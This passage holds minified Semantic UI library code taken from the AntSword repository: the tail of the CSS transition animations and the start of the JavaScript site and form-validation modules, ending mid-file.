right"].in{-webkit-animation-name:swingInY;animation-name:swingInY;-webkit-transform-origin:center left;transform-origin:center left}.transition.swing.out,.transition[class*="swing down"].out{-webkit-animation-name:swingOutX;animation-name:swingOutX;-webkit-transform-origin:top center;transform-origin:top center}.transition[class*="swing up"].out{-webkit-animation-name:swingOutX;animation-name:swingOutX;-webkit-transform-origin:bottom center;transform-origin:bottom center}.transition[class*="swing left"].out{-webkit-animation-name:swingOutY;animation-name:swingOutY;-webkit-transform-origin:center right;transform-origin:center right}.transition[class*="swing right"].out{-webkit-animation-name:swingOutY;animation-name:swingOutY;-webkit-transform-origin:center left;transform-origin:center left}@-webkit-keyframes swingInX{0%{-webkit-transform:perspective(1000px) rotateX(90deg);transform:perspective(1000px) rotateX(90deg);opacity:0}40%{-webkit-transform:perspective(1000px) rotateX(-30deg);transform:perspective(1000px) rotateX(-30deg);opacity:1}60%{-webkit-transform:perspective(1000px) rotateX(15deg);transform:perspective(1000px) rotateX(15deg)}80%{-webkit-transform:perspective(1000px) rotateX(-7.5deg);transform:perspective(1000px) rotateX(-7.5deg)}100%{-webkit-transform:perspective(1000px) rotateX(0);transform:perspective(1000px) rotateX(0)}}@keyframes swingInX{0%{-webkit-transform:perspective(1000px) rotateX(90deg);transform:perspective(1000px) rotateX(90deg);opacity:0}40%{-webkit-transform:perspective(1000px) rotateX(-30deg);transform:perspective(1000px) rotateX(-30deg);opacity:1}60%{-webkit-transform:perspective(1000px) rotateX(15deg);transform:perspective(1000px) rotateX(15deg)}80%{-webkit-transform:perspective(1000px) rotateX(-7.5deg);transform:perspective(1000px) rotateX(-7.5deg)}100%{-webkit-transform:perspective(1000px) rotateX(0);transform:perspective(1000px) rotateX(0)}}@-webkit-keyframes swingInY{0%{-webkit-transform:perspective(1000px) rotateY(-90deg);transform:perspective(1000px) rotateY(-90deg);opacity:0}40%{-webkit-transform:perspective(1000px) rotateY(30deg);transform:perspective(1000px) rotateY(30deg);opacity:1}60%{-webkit-transform:perspective(1000px) rotateY(-17.5deg);transform:perspective(1000px) rotateY(-17.5deg)}80%{-webkit-transform:perspective(1000px) rotateY(7.5deg);transform:perspective(1000px) rotateY(7.5deg)}100%{-webkit-transform:perspective(1000px) rotateY(0);transform:perspective(1000px) rotateY(0)}}@keyframes swingInY{0%{-webkit-transform:perspective(1000px) rotateY(-90deg);transform:perspective(1000px) rotateY(-90deg);opacity:0}40%{-webkit-transform:perspective(1000px) rotateY(30deg);transform:perspective(1000px) rotateY(30deg);opacity:1}60%{-webkit-transform:perspective(1000px) rotateY(-17.5deg);transform:perspective(1000px) rotateY(-17.5deg)}80%{-webkit-transform:perspective(1000px) rotateY(7.5deg);transform:perspective(1000px) rotateY(7.5deg)}100%{-webkit-transform:perspective(1000px) rotateY(0);transform:perspective(1000px) rotateY(0)}}@-webkit-keyframes swingOutX{0%{-webkit-transform:perspective(1000px) rotateX(0);transform:perspective(1000px) rotateX(0)}40%{-webkit-transform:perspective(1000px) rotateX(-7.5deg);transform:perspective(1000px) rotateX(-7.5deg)}60%{-webkit-transform:perspective(1000px) rotateX(17.5deg);transform:perspective(1000px) rotateX(17.5deg)}80%{-webkit-transform:perspective(1000px) rotateX(-30deg);transform:perspective(1000px) rotateX(-30deg);opacity:1}100%{-webkit-transform:perspective(1000px) rotateX(90deg);transform:perspective(1000px) rotateX(90deg);opacity:0}}@keyframes swingOutX{0%{-webkit-transform:perspective(1000px) rotateX(0);transform:perspective(1000px) rotateX(0)}40%{-webkit-transform:perspective(1000px) rotateX(-7.5deg);transform:perspective(1000px) rotateX(-7.5deg)}60%{-webkit-transform:perspective(1000px) rotateX(17.5deg);transform:perspective(1000px) rotateX(17.5deg)}80%{-webkit-transform:perspective(1000px) rotateX(-30deg);transform:perspective(1000px) rotateX(-30deg);opacity:1}100%{-webkit-transform:perspective(1000px) rotateX(90deg);transform:perspective(1000px) rotateX(90deg);opacity:0}}@-webkit-keyframes swingOutY{0%{-webkit-transform:perspective(1000px) rotateY(0);transform:perspective(1000px) rotateY(0)}40%{-webkit-transform:perspective(1000px) rotateY(7.5deg);transform:perspective(1000px) rotateY(7.5deg)}60%{-webkit-transform:perspective(1000px) rotateY(-10deg);transform:perspective(1000px) rotateY(-10deg)}80%{-webkit-transform:perspective(1000px) rotateY(30deg);transform:perspective(1000px) rotateY(30deg);opacity:1}100%{-webkit-transform:perspective(1000px) rotateY(-90deg);transform:perspective(1000px) rotateY(-90deg);opacity:0}}@keyframes swingOutY{0%{-webkit-transform:perspective(1000px) rotateY(0);transform:perspective(1000px) rotateY(0)}40%{-webkit-transform:perspective(1000px) rotateY(7.5deg);transform:perspective(1000px) rotateY(7.5deg)}60%{-webkit-transform:perspective(1000px) rotateY(-10deg);transform:perspective(1000px) rotateY(-10deg)}80%{-webkit-transform:perspective(1000px) rotateY(30deg);transform:perspective(1000px) rotateY(30deg);opacity:1}100%{-webkit-transform:perspective(1000px) rotateY(-90deg);transform:perspective(1000px) rotateY(-90deg);opacity:0}}.flash.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:flash;animation-name:flash}.shake.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:shake;animation-name:shake}.bounce.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:bounce;animation-name:bounce}.tada.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:tada;animation-name:tada}.pulse.transition{-webkit-animation-duration:.5s;animation-duration:.5s;-webkit-animation-name:pulse;animation-name:pulse}.jiggle.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:jiggle;animation-name:jiggle}@-webkit-keyframes flash{0%,100%,50%{opacity:1}25%,75%{opacity:0}}@keyframes flash{0%,100%,50%{opacity:1}25%,75%{opacity:0}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes bounce{0%,100%,20%,50%,80%{-webkit-transform:translateY(0);transform:translateY(0)}40%{-webkit-transform:translateY(-30px);transform:translateY(-30px)}60%{-webkit-transform:translateY(-15px);transform:translateY(-15px)}}@keyframes bounce{0%,100%,20%,50%,80%{-webkit-transform:translateY(0);transform:translateY(0)}40%{-webkit-transform:translateY(-30px);transform:translateY(-30px)}60%{-webkit-transform:translateY(-15px);transform:translateY(-15px)}}@-webkit-keyframes tada{0%{-webkit-transform:scale(1);transform:scale(1)}10%,20%{-webkit-transform:scale(.9) rotate(-3deg);transform:scale(.9) rotate(-3deg)}30%,50%,70%,90%{-webkit-transform:scale(1.1) rotate(3deg);transform:scale(1.1) rotate(3deg)}40%,60%,80%{-webkit-transform:scale(1.1) rotate(-3deg);transform:scale(1.1) rotate(-3deg)}100%{-webkit-transform:scale(1) rotate(0);transform:scale(1) rotate(0)}}@keyframes tada{0%{-webkit-transform:scale(1);transform:scale(1)}10%,20%{-webkit-transform:scale(.9) rotate(-3deg);transform:scale(.9) rotate(-3deg)}30%,50%,70%,90%{-webkit-transform:scale(1.1) rotate(3deg);transform:scale(1.1) rotate(3deg)}40%,60%,80%{-webkit-transform:scale(1.1) rotate(-3deg);transform:scale(1.1) rotate(-3deg)}100%{-webkit-transform:scale(1) rotate(0);transform:scale(1) rotate(0)}}@-webkit-keyframes pulse{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(.9);transform:scale(.9);opacity:.7}100%{-webkit-transform:scale(1);transform:scale(1);opacity:1}}@keyframes pulse{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(.9);transform:scale(.9);opacity:.7}100%{-webkit-transform:scale(1);transform:scale(1);opacity:1}}@-webkit-keyframes jiggle{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes jiggle{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}} ```
/content/code_sandbox/static/libs/semanticui/semantic.min.css
css
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
159,168
```javascript /* * # Semantic UI - 2.2.7 * path_to_url * path_to_url * * Released under the MIT license * path_to_url * */ !function(e,t,n,i){e.site=e.fn.site=function(o){var a,r,s=(new Date).getTime(),l=[],c=arguments[0],u="string"==typeof c,d=[].slice.call(arguments,1),f=e.isPlainObject(o)?e.extend(!0,{},e.site.settings,o):e.extend({},e.site.settings),m=f.namespace,g=f.error,p="module-"+m,h=e(n),v=h,b=this,y=v.data(p);return a={initialize:function(){a.instantiate()},instantiate:function(){a.verbose("Storing instance of site",a),y=a,v.data(p,a)},normalize:function(){a.fix.console(),a.fix.requestAnimationFrame()},fix:{console:function(){a.debug("Normalizing window.console"),console!==i&&console.log!==i||(a.verbose("Console not available, normalizing events"),a.disable.console()),"undefined"!=typeof console.group&&"undefined"!=typeof console.groupEnd&&"undefined"!=typeof console.groupCollapsed||(a.verbose("Console group not available, normalizing events"),t.console.group=function(){},t.console.groupEnd=function(){},t.console.groupCollapsed=function(){}),"undefined"==typeof console.markTimeline&&(a.verbose("Mark timeline not available, normalizing events"),t.console.markTimeline=function(){})},consoleClear:function(){a.debug("Disabling programmatic console clearing"),t.console.clear=function(){}},requestAnimationFrame:function(){a.debug("Normalizing requestAnimationFrame"),t.requestAnimationFrame===i&&(a.debug("RequestAnimationFrame not available, normalizing event"),t.requestAnimationFrame=t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)})}},moduleExists:function(t){return e.fn[t]!==i&&e.fn[t].settings!==i},enabled:{modules:function(t){var n=[];return t=t||f.modules,e.each(t,function(e,t){a.moduleExists(t)&&n.push(t)}),n}},disabled:{modules:function(t){var n=[];return t=t||f.modules,e.each(t,function(e,t){a.moduleExists(t)||n.push(t)}),n}},change:{setting:function(t,n,o,r){o="string"==typeof o?"all"===o?f.modules:[o]:o||f.modules,r=r===i||r,e.each(o,function(i,o){var s,l=!a.moduleExists(o)||(e.fn[o].settings.namespace||!1);a.moduleExists(o)&&(a.verbose("Changing default setting",t,n,o),e.fn[o].settings[t]=n,r&&l&&(s=e(":data(module-"+l+")"),s.length>0&&(a.verbose("Modifying existing settings",s),s[o]("setting",t,n))))})},settings:function(t,n,o){n="string"==typeof n?[n]:n||f.modules,o=o===i||o,e.each(n,function(n,i){var r;a.moduleExists(i)&&(a.verbose("Changing default setting",t,i),e.extend(!0,e.fn[i].settings,t),o&&m&&(r=e(":data(module-"+m+")"),r.length>0&&(a.verbose("Modifying existing settings",r),r[i]("setting",t))))})}},enable:{console:function(){a.console(!0)},debug:function(e,t){e=e||f.modules,a.debug("Enabling debug for modules",e),a.change.setting("debug",!0,e,t)},verbose:function(e,t){e=e||f.modules,a.debug("Enabling verbose debug for modules",e),a.change.setting("verbose",!0,e,t)}},disable:{console:function(){a.console(!1)},debug:function(e,t){e=e||f.modules,a.debug("Disabling debug for modules",e),a.change.setting("debug",!1,e,t)},verbose:function(e,t){e=e||f.modules,a.debug("Disabling verbose debug for modules",e),a.change.setting("verbose",!1,e,t)}},console:function(e){if(e){if(y.cache.console===i)return void a.error(g.console);a.debug("Restoring console function"),t.console=y.cache.console}else a.debug("Disabling console function"),y.cache.console=t.console,t.console={clear:function(){},error:function(){},group:function(){},groupCollapsed:function(){},groupEnd:function(){},info:function(){},log:function(){},markTimeline:function(){},warn:function(){}}},destroy:function(){a.verbose("Destroying previous site for",v),v.removeData(p)},cache:{},setting:function(t,n){if(e.isPlainObject(t))e.extend(!0,f,t);else{if(n===i)return f[t];f[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,a,t);else{if(n===i)return a[t];a[t]=n}},debug:function(){f.debug&&(f.performance?a.performance.log(arguments):(a.debug=Function.prototype.bind.call(console.info,console,f.name+":"),a.debug.apply(console,arguments)))},verbose:function(){f.verbose&&f.debug&&(f.performance?a.performance.log(arguments):(a.verbose=Function.prototype.bind.call(console.info,console,f.name+":"),a.verbose.apply(console,arguments)))},error:function(){a.error=Function.prototype.bind.call(console.error,console,f.name+":"),a.error.apply(console,arguments)},performance:{log:function(e){var t,n,i;f.performance&&(t=(new Date).getTime(),i=s||t,n=t-i,s=t,l.push({Element:b,Name:e[0],Arguments:[].slice.call(e,1)||"","Execution Time":n})),clearTimeout(a.performance.timer),a.performance.timer=setTimeout(a.performance.display,500)},display:function(){var t=f.name+":",n=0;s=!1,clearTimeout(a.performance.timer),e.each(l,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",(console.group!==i||console.table!==i)&&l.length>0&&(console.groupCollapsed(t),console.table?console.table(l):e.each(l,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),l=[]}},invoke:function(t,n,o){var s,l,c,u=y;return n=n||d,o=b||o,"string"==typeof t&&u!==i&&(t=t.split(/[\. ]/),s=t.length-1,e.each(t,function(n,o){var r=n!=s?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(u[r])&&n!=s)u=u[r];else{if(u[r]!==i)return l=u[r],!1;if(!e.isPlainObject(u[o])||n==s)return u[o]!==i?(l=u[o],!1):(a.error(g.method,t),!1);u=u[o]}})),e.isFunction(l)?c=l.apply(o,n):l!==i&&(c=l),e.isArray(r)?r.push(c):r!==i?r=[r,c]:c!==i&&(r=c),l}},u?(y===i&&a.initialize(),a.invoke(c)):(y!==i&&a.destroy(),a.initialize()),r!==i?r:this},e.site.settings={name:"Site",namespace:"site",error:{console:"Console cannot be restored, most likely it was overwritten outside of module",method:"The method you called is not defined."},debug:!1,verbose:!1,performance:!0,modules:["accordion","api","checkbox","dimmer","dropdown","embed","form","modal","nag","popup","rating","shape","sidebar","state","sticky","tab","transition","visit","visibility"],siteNamespace:"site",namespaceStub:{cache:{},config:{},sections:{},section:{},utilities:{}}},e.extend(e.expr[":"],{data:e.expr.createPseudo?e.expr.createPseudo(function(t){return function(n){return!!e.data(n,t)}}):function(t,n,i){return!!e.data(t,i[3])}})}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.form=function(t){var o,a=e(this),r=a.selector||"",s=(new Date).getTime(),l=[],c=arguments[0],u=arguments[1],d="string"==typeof c,f=[].slice.call(arguments,1);return a.each(function(){var m,g,p,h,v,b,y,x,C,w,k,S,T,A,R,E,P,F,O=e(this),D=this,q=[],j=!1;F={initialize:function(){F.get.settings(),d?(P===i&&F.instantiate(),F.invoke(c)):(P!==i&&P.invoke("destroy"),F.verbose("Initializing form validation",O,x),F.bindEvents(),F.set.defaults(),F.instantiate())},instantiate:function(){F.verbose("Storing instance of module",F),P=F,O.data(R,F)},destroy:function(){F.verbose("Destroying previous module",P),F.removeEvents(),O.removeData(R)},refresh:function(){F.verbose("Refreshing selector cache"),m=O.find(k.field),g=O.find(k.group),p=O.find(k.message),h=O.find(k.prompt),v=O.find(k.submit),b=O.find(k.clear),y=O.find(k.reset)},submit:function(){F.verbose("Submitting form",O),O.submit()},attachEvents:function(t,n){n=n||"submit",e(t).on("click"+E,function(e){F[n](),e.preventDefault()})},bindEvents:function(){F.verbose("Attaching form events"),O.on("submit"+E,F.validate.form).on("blur"+E,k.field,F.event.field.blur).on("click"+E,k.submit,F.submit).on("click"+E,k.reset,F.reset).on("click"+E,k.clear,F.clear),x.keyboardShortcuts&&O.on("keydown"+E,k.field,F.event.field.keydown),m.each(function(){var t=e(this),n=t.prop("type"),i=F.get.changeEvent(n,t);e(this).on(i+E,F.event.field.change)})},clear:function(){m.each(function(){var t=e(this),n=t.parent(),i=t.closest(g),o=i.find(k.prompt),a=t.data(w.defaultValue)||"",r=n.is(k.uiCheckbox),s=n.is(k.uiDropdown),l=i.hasClass(S.error);l&&(F.verbose("Resetting error on field",i),i.removeClass(S.error),o.remove()),s?(F.verbose("Resetting dropdown value",n,a),n.dropdown("clear")):r?t.prop("checked",!1):(F.verbose("Resetting field value",t,a),t.val(""))})},reset:function(){m.each(function(){var t=e(this),n=t.parent(),o=t.closest(g),a=o.find(k.prompt),r=t.data(w.defaultValue),s=n.is(k.uiCheckbox),l=n.is(k.uiDropdown),c=o.hasClass(S.error);r!==i&&(c&&(F.verbose("Resetting error on field",o),o.removeClass(S.error),a.remove()),l?(F.verbose("Resetting dropdown value",n,r),n.dropdown("restore defaults")):s?(F.verbose("Resetting checkbox value",n,r),t.prop("checked",r)):(F.verbose("Resetting field value",t,r),t.val(r)))})},is:{bracketedRule:function(e){return e.type&&e.type.match(x.regExp.bracket)},empty:function(e){return!e||0===e.length||(e.is('input[type="checkbox"]')?!e.is(":checked"):F.is.blank(e))},blank:function(t){return""===e.trim(t.val())},valid:function(){var t=!0;return F.verbose("Checking if form is valid"),e.each(C,function(e,n){F.validate.field(n,e)||(t=!1)}),t}},removeEvents:function(){O.off(E),m.off(E),v.off(E),m.off(E)},event:{field:{keydown:function(t){var n=e(this),i=t.which,o=n.is(k.input),a=n.is(k.checkbox),r=n.closest(k.uiDropdown).length>0,s={enter:13,escape:27};i==s.escape&&(F.verbose("Escape key pressed blurring field"),n.blur()),t.ctrlKey||i!=s.enter||!o||r||a||(j||(n.one("keyup"+E,F.event.field.keyup),F.submit(),F.debug("Enter pressed on input submitting form")),j=!0)},keyup:function(){j=!1},blur:function(t){var n=e(this),i=n.closest(g),o=F.get.validation(n);i.hasClass(S.error)?(F.debug("Revalidating field",n,o),o&&F.validate.field(o)):"blur"!=x.on&&"change"!=x.on||o&&F.validate.field(o)},change:function(t){var n=e(this),i=n.closest(g),o=F.get.validation(n);("change"==x.on||i.hasClass(S.error)&&x.revalidate)&&(clearTimeout(F.timer),F.timer=setTimeout(function(){F.debug("Revalidating field",n,F.get.validation(n)),F.validate.field(o)},x.delay))}}},get:{ancillaryValue:function(e){return!(!e.type||!e.value&&!F.is.bracketedRule(e))&&(e.value!==i?e.value:e.type.match(x.regExp.bracket)[1]+"")},ruleName:function(e){return F.is.bracketedRule(e)?e.type.replace(e.type.match(x.regExp.bracket)[0],""):e.type},changeEvent:function(e,t){return"checkbox"==e||"radio"==e||"hidden"==e||t.is("select")?"change":F.get.inputEvent()},inputEvent:function(){return n.createElement("input").oninput!==i?"input":n.createElement("input").onpropertychange!==i?"propertychange":"keyup"},prompt:function(e,t){var n,i,o,a=F.get.ruleName(e),r=F.get.ancillaryValue(e),s=e.prompt||x.prompt[a]||x.text.unspecifiedRule,l=s.search("{value}")!==-1,c=s.search("{name}")!==-1;return(c||l)&&(i=F.get.field(t.identifier)),l&&(s=s.replace("{value}",i.val())),c&&(n=i.closest(k.group).find("label").eq(0),o=1==n.length?n.text():i.prop("placeholder")||x.text.unspecifiedField,s=s.replace("{name}",o)),s=s.replace("{identifier}",t.identifier),s=s.replace("{ruleValue}",r),e.prompt||F.verbose("Using default validation prompt for type",s,a),s},settings:function(){if(e.isPlainObject(t)){var n,o=Object.keys(t),a=o.length>0&&(t[o[0]].identifier!==i&&t[o[0]].rules!==i);a?(x=e.extend(!0,{},e.fn.form.settings,u),C=e.extend({},e.fn.form.settings.defaults,t),F.error(x.error.oldSyntax,D),F.verbose("Extending settings from legacy parameters",C,x)):(t.fields&&(n=Object.keys(t.fields),("string"==typeof t.fields[n[0]]||e.isArray(t.fields[n[0]]))&&e.each(t.fields,function(n,i){"string"==typeof i&&(i=[i]),t.fields[n]={rules:[]},e.each(i,function(e,i){t.fields[n].rules.push({type:i})})})),x=e.extend(!0,{},e.fn.form.settings,t),C=e.extend({},e.fn.form.settings.defaults,x.fields),F.verbose("Extending settings",C,x))}else x=e.fn.form.settings,C=e.fn.form.settings.defaults,F.verbose("Using default form validation",C,x);A=x.namespace,w=x.metadata,k=x.selector,S=x.className,T=x.error,R="module-"+A,E="."+A,P=O.data(R),F.refresh()},field:function(t){return F.verbose("Finding field with identifier",t),m.filter("#"+t).length>0?m.filter("#"+t):m.filter('[name="'+t+'"]').length>0?m.filter('[name="'+t+'"]'):m.filter('[name="'+t+'[]"]').length>0?m.filter('[name="'+t+'[]"]'):m.filter("[data-"+w.validate+'="'+t+'"]').length>0?m.filter("[data-"+w.validate+'="'+t+'"]'):e("<input/>")},fields:function(t){var n=e();return e.each(t,function(e,t){n=n.add(F.get.field(t))}),n},validation:function(t){var n,i;return!!C&&(e.each(C,function(e,o){i=o.identifier||e,F.get.field(i)[0]==t[0]&&(o.identifier=i,n=o)}),n||!1)},value:function(e){var t,n=[];return n.push(e),t=F.get.values.call(D,n),t[e]},values:function(t){var n=e.isArray(t)?F.get.fields(t):m,i={};return n.each(function(t,n){var o=e(n),a=(o.prop("type"),o.prop("name")),r=o.val(),s=o.is(k.checkbox),l=o.is(k.radio),c=a.indexOf("[]")!==-1,u=!!s&&o.is(":checked");a&&(c?(a=a.replace("[]",""),i[a]||(i[a]=[]),s?u?i[a].push(r||!0):i[a].push(!1):i[a].push(r)):l?u&&(i[a]=r):s?u?i[a]=r||!0:i[a]=!1:i[a]=r)}),i}},has:{field:function(e){return F.verbose("Checking for existence of a field with identifier",e),"string"!=typeof e&&F.error(T.identifier,e),m.filter("#"+e).length>0||(m.filter('[name="'+e+'"]').length>0||m.filter("[data-"+w.validate+'="'+e+'"]').length>0)}},add:{prompt:function(t,n){var o=F.get.field(t),a=o.closest(g),r=a.children(k.prompt),s=0!==r.length;n="string"==typeof n?[n]:n,F.verbose("Adding field error state",t),a.addClass(S.error),x.inline&&(s||(r=x.templates.prompt(n),r.appendTo(a)),r.html(n[0]),s?F.verbose("Inline errors are disabled, no inline error added",t):x.transition&&e.fn.transition!==i&&O.transition("is supported")?(F.verbose("Displaying error with css transition",x.transition),r.transition(x.transition+" in",x.duration)):(F.verbose("Displaying error with fallback javascript animation"),r.fadeIn(x.duration)))},errors:function(e){F.debug("Adding form error messages",e),F.set.error(),p.html(x.templates.error(e))}},remove:{prompt:function(t){var n=F.get.field(t),o=n.closest(g),a=o.children(k.prompt);o.removeClass(S.error),x.inline&&a.is(":visible")&&(F.verbose("Removing prompt for field",t),x.transition&&e.fn.transition!==i&&O.transition("is supported")?a.transition(x.transition+" out",x.duration,function(){a.remove()}):a.fadeOut(x.duration,function(){a.remove()}))}},set:{success:function(){O.removeClass(S.error).addClass(S.success)},defaults:function(){m.each(function(){var t=e(this),n=t.filter(k.checkbox).length>0,i=n?t.is(":checked"):t.val();t.data(w.defaultValue,i)})},error:function(){O.removeClass(S.success).addClass(S.error)},value:function(e,t){var n={};return n[e]=t,F.set.values.call(D,n)},values:function(t){e.isEmptyObject(t)||e.each(t,function(t,n){var i,o=F.get.field(t),a=o.parent(),r=e.isArray(n),s=a.is(k.uiCheckbox),l=a.is(k.uiDropdown),c=o.is(k.radio)&&s,u=o.length>0;u&&(r&&s?(F.verbose("Selecting multiple",n,o),a.checkbox("uncheck"),e.each(n,function(e,t){i=o.filter('[value="'+t+'"]'),a=i.parent(),i.length>0&&a.checkbox("check")})):c?(F.verbose("Selecting radio value",n,o),o.filter('[value="'+n+'"]').parent(k.uiCheckbox).checkbox("check")):s?(F.verbose("Setting checkbox value",n,a),n===!0?a.checkbox("check"):a.checkbox("uncheck")):l?(F.verbose("Setting dropdown value",n,a),a.dropdown("set selected",n)):(F.verbose("Setting field value",n,o),o.val(n)))})}},validate:{form:function(e,t){var n=F.get.values();if(j)return!1;if(q=[],F.is.valid()){if(F.debug("Form has no validation errors, submitting"),F.set.success(),t!==!0)return x.onSuccess.call(D,e,n)}else if(F.debug("Form has errors"),F.set.error(),x.inline||F.add.errors(q),O.data("moduleApi")!==i&&e.stopImmediatePropagation(),t!==!0)return x.onFailure.call(D,q,n)},field:function(t,n){var o=t.identifier||n,a=F.get.field(o),r=!!t.depends&&F.get.field(t.depends),s=!0,l=[];return t.identifier||(F.debug("Using field name as identifier",o),t.identifier=o),a.prop("disabled")?(F.debug("Field is disabled. Skipping",o),s=!0):t.optional&&F.is.blank(a)?(F.debug("Field is optional and blank. Skipping",o),s=!0):t.depends&&F.is.empty(r)?(F.debug("Field depends on another value that is not present or empty. Skipping",r),s=!0):t.rules!==i&&e.each(t.rules,function(e,n){F.has.field(o)&&!F.validate.rule(t,n)&&(F.debug("Field is invalid",o,n.type),l.push(F.get.prompt(n,t)),s=!1)}),s?(F.remove.prompt(o,l),x.onValid.call(a),!0):(q=q.concat(l),F.add.prompt(o,l),x.onInvalid.call(a,l),!1)},rule:function(t,n){var o=F.get.field(t.identifier),a=(n.type,o.val()),r=F.get.ancillaryValue(n),s=F.get.ruleName(n),l=x.rules[s];return e.isFunction(l)?(a=a===i||""===a||null===a?"":e.trim(a+""),l.call(o,a,r)):void F.error(T.noRule,s)}},setting:function(t,n){if(e.isPlainObject(t))e.extend(!0,x,t);else{if(n===i)return x[t];x[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,F,t);else{if(n===i)return F[t];F[t]=n}},debug:function(){!x.silent&&x.debug&&(x.performance?F.performance.log(arguments):(F.debug=Function.prototype.bind.call(console.info,console,x.name+":"),F.debug.apply(console,arguments)))},verbose:function(){!x.silent&&x.verbose&&x.debug&&(x.performance?F.performance.log(arguments):(F.verbose=Function.prototype.bind.call(console.info,console,x.name+":"),F.verbose.apply(console,arguments)))},error:function(){x.silent||(F.error=Function.prototype.bind.call(console.error,console,x.name+":"),F.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;x.performance&&(t=(new Date).getTime(),i=s||t,n=t-i,s=t,l.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:D,"Execution Time":n})),clearTimeout(F.performance.timer),F.performance.timer=setTimeout(F.performance.display,500)},display:function(){var t=x.name+":",n=0;s=!1,clearTimeout(F.performance.timer),e.each(l,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",r&&(t+=" '"+r+"'"),a.length>1&&(t+=" ("+a.length+")"),(console.group!==i||console.table!==i)&&l.length>0&&(console.groupCollapsed(t),console.table?console.table(l):e.each(l,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),l=[]}},invoke:function(t,n,a){var r,s,l,c=P;return n=n||f,a=D||a,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i&&(s=c[o],!1);c=c[o]}})),e.isFunction(s)?l=s.apply(a,n):s!==i&&(l=s),e.isArray(o)?o.push(l):o!==i?o=[o,l]:l!==i&&(o=l),s}},F.initialize()}),o!==i?o:this},e.fn.form.settings={name:"Form",namespace:"form",debug:!1,verbose:!1,performance:!0,fields:!1,keyboardShortcuts:!0,on:"submit",inline:!1,delay:200,revalidate:!0,transition:"scale",duration:200,onValid:function(){},onInvalid:function(){},onSuccess:function(){return!0},onFailure:function(){return!1},metadata:{defaultValue:"default",validate:"validate"},regExp:{bracket:/\[(.*)\]/i,decimal:/^\d*(\.)\d+/,email:/^[a-z0-9!#$%&'*+\/=?^_`{|}~.-]+@[a-z0-9]([a-z0-9-]*[a-z0-9])?(\.[a-z0-9]([a-z0-9-]*[a-z0-9])?)*$/i,escape:/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,flags:/^\/(.*)\/(.*)?/,integer:/^\-?\d+$/,number:/^\-?\d*(\.\d+)?$/,url:/(https?:\/\/(?:www\.|(?!www))[^\s\.]+\.[^\s]{2,}|www\.[^\s]+\.[^\s]{2,})/i},text:{unspecifiedRule:"Please enter a valid value",unspecifiedField:"This field"},prompt:{empty:"{name} must have a value",checked:"{name} must be checked",email:"{name} must be a valid e-mail",url:"{name} must be a valid url",regExp:"{name} is not formatted correctly",integer:"{name} must be an integer",decimal:"{name} must be a decimal number",number:"{name} must be set to a number",is:'{name} must be "{ruleValue}"',isExactly:'{name} must be exactly "{ruleValue}"',not:'{name} cannot be set to "{ruleValue}"',notExactly:'{name} cannot be set to exactly "{ruleValue}"',contain:'{name} cannot contain "{ruleValue}"',containExactly:'{name} cannot contain exactly "{ruleValue}"',doesntContain:'{name} must contain "{ruleValue}"',doesntContainExactly:'{name} must contain exactly "{ruleValue}"',minLength:"{name} must be at least 